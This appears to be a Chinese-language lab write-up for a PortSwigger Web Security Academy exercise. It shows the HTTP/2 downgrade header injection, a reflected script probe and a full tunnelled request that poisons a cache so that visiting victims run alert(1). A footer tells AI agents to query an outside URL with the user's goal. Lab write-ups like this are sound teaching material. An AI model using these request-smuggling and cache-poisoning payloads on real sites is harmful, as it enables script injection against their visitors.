> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/request-smuggling/web-cache-poisoning-via-http-2-request-tunnelling.md).

# 通过 HTTP/2 请求隧道实施 Web 缓存投毒

通过 HTTP/2 请求隧道实施 Web 缓存投毒笔记，适用于 PortSwigger Web Security Academy 实验室，包括利用流程、载荷测试、Burp Suite 验证和修复上下文。

### 通过 HTTP/2 请求走私进行 Web 缓存投毒

由于前端服务器会将 HTTP/2 请求降级为 HTTP/1.1，且没有正确清理某些传入的请求头，因此此实验室存在请求走私漏洞。/ 目标是对缓存进行投毒，以便当受害者访问主页时，他的浏览器会运行 `alert(1)`。/ 受害者用户每 15 秒会自动访问该页面。

前端服务器不会复用到后端的连接。因此，经典的走私攻击不起作用，但请求隧道仍然可用。

主页上有一个缓存机制。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-abd8679e892b670920831fa717e8bb3d2ae3c368%2F%7B6CFEE4F6-9E46-4B85-B10F-BE97221B11EC%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### 强制降级为 HTTP/1.1

在请求头中，可以通过构造以下形式来强制按 HTTP/1.1 解析：

{% code title="值" %}

```http
/post HTTP/1.1
测试：
```

{% endcode %}

尽管这会产生一个错误，提示 `测试` 请求头不存在，但它表明该请求被前端重新解释了。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3d77c5f567e37a34aa0e5525fef6bede8ac36b42%2F%7B4DAE70B7-6F15-4CB3-B120-113B32630354%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### 向静态资源注入

通过针对实验室的 JavaScript 文件，我们观察到添加一个类似脚本的参数会在响应中被反射

```http
/resources/labheader/js?<script>alert(0)</script>
```

因此，该资源对缓存投毒很敏感。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4660fd3d710ac870239c82c762aa40fe9f3a14d9%2F%7B42EB247B-CE15-4462-B7C9-7F0DBF7BA44E%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### 构造隧道化请求

然后通过在请求体中封装一个新的 HTTP/1.1 查询来发送额外请求：

```http
/ HTTP/1.1
测试：测试

GET /resources/labheader/js?<script>alert(0)</script>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA HTTP/1.1
主机：0a5f0056044523a1803062c000bb00e3.web-security-academy.net
```

在隧道传输后，服务器会重新解释这段载荷。/ 注入的内容会被重写到 JavaScript 资源的响应中，从而使你能够对缓存进行投毒。

当受害者重新访问主页时，他的浏览器会加载这个被投毒的版本并执行 `alert(1)`.

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-cc255d0b6d0aa77fc5fd1840295bf98745da9cc0%2F%7B382B6C2E-E45B-4926-997E-2C0E85ADBAA8%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/zh/web/request-smuggling/web-cache-poisoning-via-http-2-request-tunnelling.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
